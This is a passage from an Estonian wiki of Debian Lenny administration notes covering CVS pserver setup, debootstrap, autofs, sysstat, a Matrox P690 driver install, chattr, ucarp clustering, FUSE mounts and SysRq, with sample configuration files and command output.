* CVS liiklust tuleb täiendavate CVS väliste vahenditega turvata, nt OpenVPN või Stunnel&lt;br /&gt;
* CVS tarkvara tegeleb ise oma kasutajatega, st operatsioonisüsteemi kasutajatest eraldi&lt;br /&gt;
* saab kasutada mitmeid hoidlaid (ingl. k. repository)&lt;br /&gt;
* failisüsteemi kasutamine hoidla operatsioonisüsteemi seisukohalt toimub iga hoidla puhul hoidlale vastava kasutajaga (mitte hoidlat kasutava cvs kasutajana)&lt;br /&gt;
&lt;br /&gt;
Antud juhul kasutatakse mitmeid Debiani haldajate poolt nn vanilla CVS tarkvarale juurde lisatud täiendusi, mille kasutamist on kirjeldatud failis /usr/share/doc/cvs/README.Debian.gz.&lt;br /&gt;
&lt;br /&gt;
Paigaldamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  # apt-get install cvs&lt;br /&gt;
&lt;br /&gt;
ning valida kas kasutatakse pserverit või mitte, antud juhul kasutatakse ja seejuures tuleb järgnevalt määrata, millistes kataloogides asuvad repositooriumid, nt&lt;br /&gt;
&lt;br /&gt;
  /srv/cvs-loomaaed&lt;br /&gt;
  /srv/cvs-propaganda&lt;br /&gt;
&lt;br /&gt;
CVS tarkvara juhivad serveri poolel sellised seadistusfaili&lt;br /&gt;
&lt;br /&gt;
* CVS p-serveri seadistusfailis /etc/cvs-pserver.conf sisalduvad muu seas repositooriumide asukohad failisüsteemis ning kasutate paroolifail&lt;br /&gt;
&lt;br /&gt;
  CVS_PSERV_REPOS=&amp;quot;/data/cvs-loomaaed:/data/cvs-propaganda&amp;quot;&lt;br /&gt;
  CVS_PSERV_LIMIT_MEM=hard&lt;br /&gt;
  CVS_PSERV_LIMIT_DATA=hard&lt;br /&gt;
  CVS_PSERV_LIMIT_CORE=0&lt;br /&gt;
  CVS_PSERV_LIMIT_CPU=hard&lt;br /&gt;
  CVS_EXT_PASSWD_FILE=/etc/cvs-passwd&lt;br /&gt;
&lt;br /&gt;
* inetd või xinetd kasutamisel vastavalt seadistusfailis /etc/inetd.conf peab sisalduma rida&lt;br /&gt;
&lt;br /&gt;
  cvspserver      stream  tcp     nowait  root    /usr/sbin/tcpd  /usr/sbin/cvs-pserver&lt;br /&gt;
&lt;br /&gt;
või fail /etc/xinetd.d/cvs sisuga&lt;br /&gt;
&lt;br /&gt;
  service cvspserver&lt;br /&gt;
  {&lt;br /&gt;
        disable         = no&lt;br /&gt;
        socket_type     = stream&lt;br /&gt;
        protocol        = tcp&lt;br /&gt;
        wait            = no&lt;br /&gt;
        user            = root&lt;br /&gt;
        server          = /usr/sbin/cvs-pserver&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
* repostitooriumide failide omanikud ja efektiivsed kasutajad failis on kirjeldatud /etc/cvs-repouids&lt;br /&gt;
&lt;br /&gt;
  /srv/cvs-loomaaed:cvs-loomaaed&lt;br /&gt;
  /srv/cvs-propaganda:cvs-propaganda&lt;br /&gt;
&lt;br /&gt;
Repositooriumide initsialiseerimiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  # su - cvs-loomaaed&lt;br /&gt;
  $ cvs -d /srv/cvs-loomaaed init&lt;br /&gt;
  # su - cvs-propaganda&lt;br /&gt;
  $ cvs -d /srv/cvs-propaganda init&lt;br /&gt;
&lt;br /&gt;
Paroolifaili /etc/cvs-passwd formaat on selline&lt;br /&gt;
&lt;br /&gt;
  /data/cvs-loomaaed&lt;br /&gt;
  mart:CHHLHZezIWZZQ&lt;br /&gt;
  priit:KbHgWDSglIOH.&lt;br /&gt;
  /data/cvs-propaganda&lt;br /&gt;
  mart:CHHLHZezIWZZQ&lt;br /&gt;
  priit:KbHgWDSglIOH.&lt;br /&gt;
&lt;br /&gt;
Projektid tuleb alguses hoidlasse importida vastavate kasutajatega&lt;br /&gt;
&lt;br /&gt;
  # su - cvs-loomaaed&lt;br /&gt;
  $ cd /data/tmp/portaal-arendus&lt;br /&gt;
  cvs-loomaaed$ cvs -d /data/cvs-loomaaed import -m &amp;quot;Loomaaia portaali arendus algab&amp;quot; portaal-arendus vt rt&lt;br /&gt;
  # su - cvs-propaganada&lt;br /&gt;
  $ cd /data/tmp/portaal-propaganda&lt;br /&gt;
  cvs-propaganda$ cvs -d /data/cvs-propaganda import -m &amp;quot;Loomaaia propaganda algab&amp;quot; propaganada vt rt&lt;br /&gt;
&lt;br /&gt;
====Moodulite kirjeldamine====&lt;br /&gt;
&lt;br /&gt;
CVS all olevast projektist saab kopeerida ka üksikuid katalooge öeldes&lt;br /&gt;
&lt;br /&gt;
  $ cvs co projektinimi/katalooginimi&lt;br /&gt;
&lt;br /&gt;
====Kasutamine Linuxi CVS kliendiga====&lt;br /&gt;
&lt;br /&gt;
  $ export CVSROOT=:pserver:kasutajanimi@cvs.loomaaed.tartu.ee:/data/cvs-loomaaed&lt;br /&gt;
  $ cvs login&lt;br /&gt;
  $ cvs co portaal-arendus&lt;br /&gt;
  $ cvs logout&lt;br /&gt;
&lt;br /&gt;
====Kasutamine Windowsi TortoiseCVS kliendiga====&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Tortoisecvs-1.gif]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Riistvara omadustega tegelevad utiliidid===&lt;br /&gt;
&lt;br /&gt;
* lshw - esitab suhteliselt põhjaliku väljundi arvutisüsteemi riistvaralistest komponentidest, nt sellise&lt;br /&gt;
&lt;br /&gt;
  # apt-get install lshw&lt;br /&gt;
&lt;br /&gt;
* ethtool&lt;br /&gt;
&lt;br /&gt;
  # apt-get install ethtool&lt;br /&gt;
&lt;br /&gt;
===Debootstrap programmi kasutamine===&lt;br /&gt;
&lt;br /&gt;
debootstrap programmiga saab näidatud kataloogi moodustada operatsioonisteemi juurfailisüsteemi&lt;br /&gt;
&lt;br /&gt;
  # debootstrap lenny /srv/lenny-chroot http://ftp.aso.ee/debian&lt;br /&gt;
&lt;br /&gt;
Nt sobib seda kasutada töötava operatsioonisüsteemi sees olles multiboot arvuti moodustamiseks. Sel juhul tuleb Debian Lenny puhul lisaks tähele panna selliseid asjaolusid peale seda kui debootstrap on töö lõpetanud&lt;br /&gt;
&lt;br /&gt;
* moodustada /etc/fstab sisu&lt;br /&gt;
* seadistada /etc/network/interfaces ja /etc/hosts&lt;br /&gt;
* kopeerida /lib/modules alla tuuma moodulid&lt;br /&gt;
* paigaldada udev, lvm2, vlan, firmware-bnx2, bridge-utils ja openssh-server tarkvara (ja muu oluline)&lt;br /&gt;
* kirjutada /etc/shadow faili juurkasutajale parool (konsoolilt saab küll login: root järel enterit öeldes sisse ka ilma paroolita)&lt;br /&gt;
* kopeerida tuum ja iniramfs /boot kataloogi&lt;br /&gt;
* paigaldada alglaadur (nt grub-install abil)&lt;br /&gt;
* seadistada ajavöönd, /etc/localtime link&lt;br /&gt;
&lt;br /&gt;
Kui selliselt moodustatud keskkonda chrootida, siis üldiselt peaks olema eelnevalt ühendatud külge sellised failisüsteemid, eeldusel, et keskkond asub kataloogis /target&lt;br /&gt;
&lt;br /&gt;
 /dev/sda1 on /target/boot type ext3 (rw,noatime,errors=continue,data=ordered)&lt;br /&gt;
 proc on /target/proc type proc (rw)&lt;br /&gt;
 sysfs on /target/sys type sysfs (rw)&lt;br /&gt;
 udev on /target/dev type tmpfs (rw,size=10240k,mode=755)&lt;br /&gt;
 devpts on /target/dev/pts type devpts (rw,mode=600)&lt;br /&gt;
&lt;br /&gt;
öeldes&lt;br /&gt;
&lt;br /&gt;
 # mount -t proc /proc /srv/lenny-32/proc&lt;br /&gt;
 # mount -t devpts devpts /srv/lenny-32/dev/pts&lt;br /&gt;
&lt;br /&gt;
debootstrap abil saab tekitada ka teisele arhitektuurile vastav failisüsteem, nt öeldes amd64 keskkonnas&lt;br /&gt;
&lt;br /&gt;
 # debootstrap --arch=i386 lenny /srv/lenny-32 http://ftp.aso.ee/debian&lt;br /&gt;
&lt;br /&gt;
Uuemal ajal soovitatakse kasutada tarkvara multistrap.&lt;br /&gt;
&lt;br /&gt;
===Autofs===&lt;br /&gt;
&lt;br /&gt;
Selleks, et failisüsteem monteeritaks külge automaatselt vastava ühenduspunkti poole pöördumisel, sobib kasutada tarkvara autofs. Tarkvara paigaldamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  # apt-get install autofs&lt;br /&gt;
&lt;br /&gt;
Tarkvara kasutamiseks tuleb näidata seadistusfailis /etc/auto.master nn map failide asukohad, nt&lt;br /&gt;
&lt;br /&gt;
  # cat /etc/auto.master&lt;br /&gt;
  /var/autofs     /etc/auto.misc --timeout=60&lt;br /&gt;
&lt;br /&gt;
kusjuures map failis /etc/auto.misc on kirjeldatud konkreetsed ressursid, nt&lt;br /&gt;
&lt;br /&gt;
  # cat /etc/auto.misc   &lt;br /&gt;
  cd             -fstype=iso9660,ro,nosuid,nodev :/dev/cdrom&lt;br /&gt;
  removable      -fstype=ext3,ro            :/dev/mapper/mpath3&lt;br /&gt;
&lt;br /&gt;
Kui nüüd öelda muidu tühjas kataloogis /var/autofs 'ls -l', siis ühendatakse failisüsteem külge ning seejärel täidetakse ls käsk, nt&lt;br /&gt;
&lt;br /&gt;
  # cd /var/autofs/removable&lt;br /&gt;
  drwx------ 2 root root 16384 Apr 11 14:13 lost+found&lt;br /&gt;
&lt;br /&gt;
Ühendatud failisüsteemide parameetreid näeb nii&lt;br /&gt;
&lt;br /&gt;
  # mount | grep autofs&lt;br /&gt;
  automount(pid7544) on /var/autofs type autofs (rw,fd=4,pgrp=7544,minproto=2,maxproto=4)&lt;br /&gt;
  /dev/mapper/mpath3 on /var/autofs/removable type ext3 (ro)&lt;br /&gt;
&lt;br /&gt;
Autofs olekut näeb öeldes&lt;br /&gt;
&lt;br /&gt;
  # /etc/init.d/autofs status&lt;br /&gt;
  Configured Mount Points:&lt;br /&gt;
  ------------------------&lt;br /&gt;
  /usr/sbin/automount --timeout=300 /home file /etc/auto.home &lt;br /&gt;
  &lt;br /&gt;
  Active Mount Points:&lt;br /&gt;
  --------------------&lt;br /&gt;
  /usr/sbin/automount --pid-file=/var/run/autofs/_home.pid --timeout=300 /home file /etc/auto.home&lt;br /&gt;
&lt;br /&gt;
====NFS ressursi ühendamine====&lt;br /&gt;
&lt;br /&gt;
Nt kasutajate kodukataloogide üle NFS ühendamiseks tuleb kirjeldada nt selline /etc/auto.home fail&lt;br /&gt;
&lt;br /&gt;
  # cat /etc/auto.home &lt;br /&gt;
  kernel    -ro,soft,intr       192.168.10.249:/data/export&lt;br /&gt;
&lt;br /&gt;
===Süsteemi ressursikasutuse jälgimine===&lt;br /&gt;
&lt;br /&gt;
Pakett sysstat http://pagesperso-orange.fr/sebastien.godard/ sisaldab süsteemi ressurssikasutuse jälgimiseks vajalikke vahendeid, nii reaalajas kui taustal andmete kogumiseks&lt;br /&gt;
&lt;br /&gt;
* reaalajas - iostat, pidstat, mpstat&lt;br /&gt;
* taustal - sa1, sa2, sar&lt;br /&gt;
&lt;br /&gt;
Tarkvara käivitamist ja töötamist juhivad seadistusfailid&lt;br /&gt;
&lt;br /&gt;
  /etc/cron.d/sysstat&lt;br /&gt;
  /etc/cron.daily/sysstat&lt;br /&gt;
  /etc/default/sysstat&lt;br /&gt;
&lt;br /&gt;
Taustal töötava sysstat töö tulemusena kogutakse andmed ja salvestatakse binaarses formaadis kataloogi /var/log/sysstat. Kogutud andmeid saab esitada nt selliselt&lt;br /&gt;
&lt;br /&gt;
  # sar -A -f /var/log/sysstat/sa22  | less&lt;br /&gt;
&lt;br /&gt;
Eraldi mainimist vajab programm pidstat, mille abil saab jälgida üksiku protsessiga seotud ressursikasutust, nt plokkseadme IO'd&lt;br /&gt;
&lt;br /&gt;
  $ pidstat -d -p 15585 2&lt;br /&gt;
  Linux 2.6.26-1-xen-amd64 (moraal.auul)  04/22/09        _x86_64_&lt;br /&gt;
  &lt;br /&gt;
  20:13:28          PID   kB_rd/s   kB_wr/s kB_ccwr/s  Command&lt;br /&gt;
  20:13:30        15585      0.00    236.82      0.00  wget&lt;br /&gt;
  20:13:32        15585      0.00    238.00      0.00  wget&lt;br /&gt;
  20:13:34        15585      0.00    236.82      0.00  wget&lt;br /&gt;
  20:13:36        15585      0.00    238.00      0.00  wget&lt;br /&gt;
&lt;br /&gt;
Kõigi kasutaja postgres protsesside io'd saab uurida nt selliselt&lt;br /&gt;
&lt;br /&gt;
  $ pidstat -d -p ALL 2 | grep postgres&lt;br /&gt;
&lt;br /&gt;
===Matrox P690 videokaardi kasutamine===&lt;br /&gt;
&lt;br /&gt;
Matrox http://www.matrox.com/ valmistab suhteliselt eeskujulikke videokaarte. P690 mudeli kasutamiseks sobib kasutada aadressil http://www.matrox.com/graphics/en/products/graphics_cards/p_series/p690pci/ kopeeritud draiverit. Lisaks asub nö community-forum aadressil http://forum.tuxx-home.at/ ning sealsed entusiastid avaldavad oma parandustega draivereid.&lt;br /&gt;
&lt;br /&gt;
====Paigaldamine====&lt;br /&gt;
&lt;br /&gt;
  # CC=/usr/bin/gcc-4.1 sh mtxdriver-installer-x86_32-cvs-20090511.run&lt;br /&gt;
  ..&lt;br /&gt;
  Please, enter the directory to extract the files [/root/] /usr/src/mtx&lt;br /&gt;
  Creating directory /usr/src/mtx/matroxdriver-x86_32-cvs-20090511&lt;br /&gt;
  Verifying archive integrity... All good.&lt;br /&gt;
  Uncompressing Matrox Parhelia Driver.&lt;br /&gt;
  ..&lt;br /&gt;
  ========================================&lt;br /&gt;
   Matrox Linux Driver Install Script   &lt;br /&gt;
  ========================================&lt;br /&gt;
  &lt;br /&gt;
  Installation package v1.4.7&lt;br /&gt;
  &lt;br /&gt;
  Refreshing ld database&lt;br /&gt;
  Installing mtx_drv.so ...&lt;br /&gt;
  Installing v4l_drv.so ...&lt;br /&gt;
  Messages are being logged in file /tmp/make.log,&lt;br /&gt;
  this might take some time.&lt;br /&gt;
  &lt;br /&gt;
  Compiling mtx.ko ... done&lt;br /&gt;
  &lt;br /&gt;
  Installing mtx.ko ...&lt;br /&gt;
  Backing up libGL&lt;br /&gt;
  Installing 32bits OpenGL library file to /usr/lib&lt;br /&gt;
  Installing libGL.so.1.3.0 ...&lt;br /&gt;
  Installing the GLX library file to /usr/lib/xorg/modules/extensions&lt;br /&gt;
 &lt;br /&gt;
  Installing libglx.so ...&lt;br /&gt;
  Installing the gl.h header file to /usr/include/GL &lt;br /&gt;
 &lt;br /&gt;
  Installing gl.h ...&lt;br /&gt;
  Installing the glext.h header file to /usr/include/GL &lt;br /&gt;
  &lt;br /&gt;
  Installing glext.h ...&lt;br /&gt;
  Installing the glx.h header file to /usr/include/GL&lt;br /&gt;
 &lt;br /&gt;
  Installing glx.h ...&lt;br /&gt;
  Updating library cache&lt;br /&gt;
 &lt;br /&gt;
  Installing documentation&lt;br /&gt;
  &lt;br /&gt;
  cp: cannot stat `v4l': No such file or directory&lt;br /&gt;
  Installing powerdesk&lt;br /&gt;
  &lt;br /&gt;
  Installing mtxcards ...&lt;br /&gt;
  Installing mtxwizard ...&lt;br /&gt;
  Installing matroxconfig ...&lt;br /&gt;
  Installing libmtxcfg.so ...&lt;br /&gt;
 &lt;br /&gt;
  Do you wish to let the installer setup your X config file  (y/n)? y &lt;br /&gt;
  &lt;br /&gt;
  Trying to configure your X config file (/etc/X11/xorg.conf)&lt;br /&gt;
  &lt;br /&gt;
  Installation finished&lt;br /&gt;
&lt;br /&gt;
Tulemusena on &lt;br /&gt;
&lt;br /&gt;
* moodustatud nö vaikimisi /etc/X11/xorg.conf seadistusfail&lt;br /&gt;
* seadistusutiliit /usr/bin/matroxconfig&lt;br /&gt;
* kataloogi /usr/share/matrox on paigutatud teeke ja tekste&lt;br /&gt;
* kompileeritud ja paigaldatud tuuma moodul mtx.ko, mis on link /usr/share/matrox kataloogi failile &lt;br /&gt;
&lt;br /&gt;
  # find /lib/modules/2.6.26-2-686 -name mtx.ko -ls&lt;br /&gt;
  721274    0 lrwxrwxrwx   1 root     root           32 Aug  8 17:44 \&lt;br /&gt;
    /lib/modules/2.6.26-2-686/kernel/drivers/video/mtx.ko -&amp;gt; /usr/share/matrox/current/mtx.ko&lt;br /&gt;
&lt;br /&gt;
Süsteemi on lisatud/asendatud sellised failid&lt;br /&gt;
&lt;br /&gt;
  /usr/bin&lt;br /&gt;
  /usr/bin/mtxwizard&lt;br /&gt;
  /usr/bin/matroxconfig&lt;br /&gt;
  /usr/share&lt;br /&gt;
  /usr/share/mtxwizard&lt;br /&gt;
  /usr/share/mtxwizard/mtxcards&lt;br /&gt;
  /usr/share/matrox&lt;br /&gt;
  /usr/share/matrox/samples&lt;br /&gt;
  /usr/share/matrox/samples/XF86Config.QID_Quad_Hybrid&lt;br /&gt;
  /usr/share/matrox/samples/XF86Config.QID_Quad_Merge&lt;br /&gt;
  /usr/share/matrox/samples/XF86Config.triple&lt;br /&gt;
  /usr/share/matrox/samples/XF86Config.QID_Triple_Hybrid_1&lt;br /&gt;
  /usr/share/matrox/samples/XF86Config.T221-Merged&lt;br /&gt;
  /usr/share/matrox/samples/XF86Config.merged&lt;br /&gt;
  /usr/share/matrox/samples/XF86Config.dual&lt;br /&gt;
  /usr/share/matrox/samples/XF86Config.QID_Triple_Hybrid_2&lt;br /&gt;
  /usr/share/matrox/samples/XF86Config.single&lt;br /&gt;
  /usr/share/matrox/samples/XF86Config.triple_merged&lt;br /&gt;
  /usr/share/matrox/samples/XF86Config.T221-Xinerama&lt;br /&gt;
  /usr/share/matrox/current&lt;br /&gt;
  /usr/share/matrox/current/gl.h&lt;br /&gt;
  /usr/share/matrox/current/libmtxcfg.so&lt;br /&gt;
  /usr/share/matrox/current/mtxcards&lt;br /&gt;
  /usr/share/matrox/current/mtx_drv.so&lt;br /&gt;
  /usr/share/matrox/current/glx.h&lt;br /&gt;
  /usr/share/matrox/current/glext.h&lt;br /&gt;
  /usr/share/matrox/current/mtx.ko&lt;br /&gt;
  /usr/share/matrox/current/v4l_drv.so&lt;br /&gt;
  /usr/share/matrox/current/mtxwizard&lt;br /&gt;
  /usr/share/matrox/current/libGL.so.1.3.0&lt;br /&gt;
  /usr/share/matrox/current/matroxconfig&lt;br /&gt;
  /usr/share/matrox/current/libglx.so&lt;br /&gt;
  /usr/share/matrox/backup&lt;br /&gt;
  /usr/share/matrox/docs&lt;br /&gt;
  /usr/share/matrox/docs/readme.txt&lt;br /&gt;
  /usr/share/matrox/docs/readme-advanced.txt&lt;br /&gt;
  /usr/lib&lt;br /&gt;
  /usr/lib/libGL.so.1.3.0&lt;br /&gt;
  /usr/lib/libGL.so&lt;br /&gt;
  /usr/lib/xorg/modules/extensions&lt;br /&gt;
  /usr/lib/xorg/modules/extensions/libmtxcfg.so&lt;br /&gt;
  /usr/lib/xorg/modules/extensions/libglx.so&lt;br /&gt;
  /usr/lib/xorg/modules/drivers&lt;br /&gt;
  /usr/lib/xorg/modules/drivers/mtx_drv.so&lt;br /&gt;
  /usr/lib/xorg/modules/drivers/v4l_drv.so&lt;br /&gt;
  /usr/lib/libGL.so.1&lt;br /&gt;
  /usr/src/mtx&lt;br /&gt;
  /usr/src/mtx/log&lt;br /&gt;
  /usr/include/GL&lt;br /&gt;
  /usr/include/GL/gl.h&lt;br /&gt;
  /usr/include/GL/glx.h&lt;br /&gt;
  /usr/include/GL/glext.h&lt;br /&gt;
&lt;br /&gt;
Tuuma laadimisel öeldakse&lt;br /&gt;
&lt;br /&gt;
  # modprobe mtx&lt;br /&gt;
  mtx: module license 'Copyright (c) 2002, 2004, Matrox Graphics Inc.' taints kernel.&lt;br /&gt;
  [mtx] MTX driver v1.4.7&lt;br /&gt;
  [mtx] Allocated a MTX agp driver structure&lt;br /&gt;
  ACPI: PCI Interrupt 0000:03:00.0[A] -&amp;gt; GSI 21 (level, low) -&amp;gt; IRQ 21&lt;br /&gt;
  [mtx] 0x2539(sub:0xffffffff) board found at 03:00.0&lt;br /&gt;
&lt;br /&gt;
====Seadistamine====&lt;br /&gt;
&lt;br /&gt;
Komplekt sisaldab ka graafilist haldusutiliiti matroxconfig, mille abil saab genereerida sobiva X serveri seadistusfaili /etc/X11/xorg.conf, nt sellise [[Pilt:Xorg.conf.patch]]&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Matroxconfig-1.gif]]&lt;br /&gt;
&lt;br /&gt;
Käivitamisel öeldakse dmesg'i&lt;br /&gt;
&lt;br /&gt;
  [mtx] Registers at 0xe8000000, size: 8K, flags: 131588, knl_addr: 0xf8bb8000&lt;br /&gt;
  [mtx] Framebuffer at 0xe0000000, size: 128M, flags: 135692, knl_addr: 0x00000000, write-combining: YES&lt;br /&gt;
  [mtx] Busmastering flags:&lt;br /&gt;
  [mtx]   Board type detected: PCI&lt;br /&gt;
  [mtx]   Chipset 0x2539:0x102b was detected&lt;br /&gt;
  [mtx]   AGP chipset was detected&lt;br /&gt;
  [mtx]   PCI transfers available for read write&lt;br /&gt;
  [mtx] Parhelia patches applied: PowerM Cap66Mhz CompBypass &lt;br /&gt;
  [mtx] Registers at 0xe8000000, size: 8K, flags: 131588, knl_addr: 0xf8bb8000&lt;br /&gt;
  [mtx] Framebuffer at 0xe0000000, size: 128M, flags: 135692, knl_addr: 0x00000000, write-combining: YES&lt;br /&gt;
  [mtx] Busmastering flags:&lt;br /&gt;
  [mtx]   Board type detected: PCI&lt;br /&gt;
  [mtx]   Chipset 0x2539:0x102b was detected&lt;br /&gt;
  [mtx]   AGP chipset was detected&lt;br /&gt;
  [mtx]   PCI transfers available for read write&lt;br /&gt;
  [mtx] Parhelia patches applied: PowerM Cap66Mhz CompBypass&lt;br /&gt;
&lt;br /&gt;
X log võiks olla nt selline http://kuutorvaja.eenet.ee/mw-1.9.3/images/e/e1/Xorg.mtx-p690.patch&lt;br /&gt;
&lt;br /&gt;
Kui töökohaarvuti vahetada säilitades videokaardi ja monitorid, siis tõenäoliselt piisab xorg.conf failis asendada seadme sektsioonides PCI BusID väärtus sobivaga&lt;br /&gt;
&lt;br /&gt;
  Section &amp;quot;Device&amp;quot;&lt;br /&gt;
          # generated by mtx wizard&lt;br /&gt;
          Identifier  &amp;quot;mtxwizard_device_1&amp;quot;&lt;br /&gt;
          Driver      &amp;quot;mtx&amp;quot;&lt;br /&gt;
          BusID       &amp;quot;PCI:3:0:0&amp;quot;&lt;br /&gt;
          Screen      1&lt;br /&gt;
  EndSection&lt;br /&gt;
&lt;br /&gt;
kusjuures õige saab teha kindlaks lspci utiliidiga&lt;br /&gt;
&lt;br /&gt;
  # lspci | grep Matrox&lt;br /&gt;
  03:00.0 VGA compatible controller: Matrox Graphics, Inc. Millennium P690 (rev 01)&lt;br /&gt;
&lt;br /&gt;
===lsattr ja chattr programmide kasutamine===&lt;br /&gt;
&lt;br /&gt;
chattr programmi abil saab ext2 ja ext3 failisüsteemis seadistada failidele täiendavad omadusi. Näiteks, märkida faili immutable'ks&lt;br /&gt;
&lt;br /&gt;
 # chattr +i failinimi&lt;br /&gt;
&lt;br /&gt;
Tulemusena ei saa seda faili ka kustutada juurkasutaja&lt;br /&gt;
&lt;br /&gt;
 # rm failinimi&lt;br /&gt;
 rm: cannot remove `failinimi': Operation not permitted&lt;br /&gt;
&lt;br /&gt;
Atribuutide väärtusi saab küsida öeldes&lt;br /&gt;
&lt;br /&gt;
 # lsattr failinimi&lt;br /&gt;
 ----i-------------- failinimi&lt;br /&gt;
&lt;br /&gt;
immutable biti saab eemaldada öeldes&lt;br /&gt;
&lt;br /&gt;
 # chattr -i failinimi&lt;br /&gt;
&lt;br /&gt;
===ucarp kasutamine===&lt;br /&gt;
&lt;br /&gt;
ucarp http://www.ucarp.org/project/ucarp tarkvara abil on võimalik korraldada kahe või enama arvuti nn aktiivset/passiiveset klustrit kasutades CARP protokolli. Klustri igal arvutil on oma individuaalne ip aadress ning lisaks on määratud üks teenuse virtuaalne ip aadress. Sõltuvalt sellest, kuidas parasjagu on klustri osalesid masteri osas kokku leppinud pakub master teenust, teised on nö kõrval-seisvas (ingl. k. standby) asendis.&lt;br /&gt;
&lt;br /&gt;
Tarkvara paigaldamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  # apt-get install ucarp&lt;br /&gt;
&lt;br /&gt;
Ning seadistamiseks tuleb nt kahe komponendilise klustri ühe arvuti võrguliideste seadistusfailis /etc/network/interfaces kasutada&lt;br /&gt;
&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
    address 192.168.10.51&lt;br /&gt;
    gateway 192.168.10.254&lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
   &lt;br /&gt;
    ucarp-vid 3&lt;br /&gt;
    ucarp-vip 192.168.10.48&lt;br /&gt;
    ucarp-password test1234&lt;br /&gt;
    ucarp-advskew 0&lt;br /&gt;
    ucarp-advbase 1&lt;br /&gt;
    ucarp-master yes&lt;br /&gt;
  &lt;br /&gt;
  iface eth0:ucarp inet static&lt;br /&gt;
    address 192.168.10.48&lt;br /&gt;
    netmask 255.255.255.255&lt;br /&gt;
&lt;br /&gt;
ning teise arvuti puhul&lt;br /&gt;
&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
    address 192.168.10.52&lt;br /&gt;
    gateway 192.168.10.254&lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
   &lt;br /&gt;
    ucarp-vid 3&lt;br /&gt;
    ucarp-vip 192.168.10.48&lt;br /&gt;
    ucarp-password test1234&lt;br /&gt;
    ucarp-advskew 10&lt;br /&gt;
    ucarp-advbase 1&lt;br /&gt;
    ucarp-master yes&lt;br /&gt;
  &lt;br /&gt;
  iface eth0:ucarp inet static&lt;br /&gt;
    address 192.168.10.48&lt;br /&gt;
    netmask 255.255.255.255&lt;br /&gt;
&lt;br /&gt;
Tulemusena on kokkulepitud masteris lisaks tavalistele vürguseadetele seade eth0:ucarp&lt;br /&gt;
&lt;br /&gt;
  eth0:ucarp Link encap:Ethernet  HWaddr 70:01:68:01:00:51  &lt;br /&gt;
          inet addr:192.168.10.48  Bcast:192.168.10.255  Mask:255.255.255.255&lt;br /&gt;
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1&lt;br /&gt;
&lt;br /&gt;
ucarp on võrreldes keepalived või heartbeat tarkvaraga tagasihoidlikemate omadustega, kuid mõnel juhul võib just see ollagi eeliseks.&lt;br /&gt;
&lt;br /&gt;
===FUSE===&lt;br /&gt;
&lt;br /&gt;
Kui tavaliselt toimub failisüsteemidega tegelemine, nt külgeühendamine, privilegeeritud kasujana ning nn kernel-space'is, siis FUSE (Filesystem in Userspace) http://fuse.sourceforge.net/ tehnika võimaldab seda teha tavakasutajana user-space'is. Linuxi tuum sisaldab FUSE tuge ning paketihalduses on rohkesti FUSE funktsionaalsust kasutavat tarkvara. Üldkasutatavad FUSE utiliidid on paketis fuse-utils.&lt;br /&gt;
&lt;br /&gt;
====curlftpfs====&lt;br /&gt;
&lt;br /&gt;
curlftpfs abil saab nö külge monteerida ftp serverist ressurssi, tarkvara paigaldamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  # apt-get install curlftpfs&lt;br /&gt;
&lt;br /&gt;
Kasutmise peab kasutaja kuuluma gruppi fuse, ressursi külgeühendamine toimub öeldes&lt;br /&gt;
&lt;br /&gt;
  $ curlftpfs ftp://ftp.ee.debian.ee /tmp/ftp.ee.debian.org&lt;br /&gt;
&lt;br /&gt;
ja lahtiühendamiseks&lt;br /&gt;
&lt;br /&gt;
  $ fusermount -u /tmp/ftp.ee.debian.org&lt;br /&gt;
&lt;br /&gt;
Kasutamine toimub nii nagu tavalise kohaliku failisüsteemi kasutamine.&lt;br /&gt;
&lt;br /&gt;
====SSHFS====&lt;br /&gt;
&lt;br /&gt;
sshfs abil saab nö külge monteerida serverist, kuhu on ssh ligipääs, ressurssi, tarkvara paigaldamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  # apt-get install sshfs&lt;br /&gt;
&lt;br /&gt;
Kasutamise peab kuuluma gruppi fuse, külgeühendamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
  $ sshfs mart@loomaaed.tartu.ee:/katalooginimi-ssh-serveris /katalooginimi-kohalikus-arvutis&lt;br /&gt;
&lt;br /&gt;
Lahtiühendamiseks&lt;br /&gt;
&lt;br /&gt;
  $ fusermount -u /katalooginimi-kohalikus-arvutis&lt;br /&gt;
&lt;br /&gt;
===SysRq===&lt;br /&gt;
&lt;br /&gt;
Kui Linuxi tuum hangub, siis enamikul juhtudel on ta võimeline aru saama talle nö otse saadetud signaalidest. Lenny paketihalduse tuumaga saab vaikimisi SysRq'd kasutada, väljalülitamiseks tuleb parameetrile kernel.sysrq omistada väärtus null&lt;br /&gt;
&lt;br /&gt;
  # sysctl -w kernel.sysrq=0&lt;br /&gt;
&lt;br /&gt;
* http://en.wikipedia.org/wiki/Magic_SysRq_key&lt;br /&gt;
&lt;br /&gt;
====Füüsiliselt konsoolilt====&lt;br /&gt;
&lt;br /&gt;
Füüsiliselt konsoolilt saab sisestada erinevaid kombinatsioone (kui SysRq klahv pole tähistatud, siis tavaliselt toimib sellena PrintScreen)&lt;br /&gt;
&lt;br /&gt;
# failisüsteemide sünkroniseerimine - Alt-SysRq-s&lt;br /&gt;
# failisüsteemide read-only remountimine - Alt-SysRq-u&lt;br /&gt;
# arvuti reboot - Alt-SysRq-b&lt;br /&gt;
&lt;br /&gt;
Iga tegevuse kohta antakse terminalile ka vastav teade.&lt;br /&gt;
&lt;br /&gt;
====Käsurealt====&lt;br /&gt;
&lt;br /&gt;
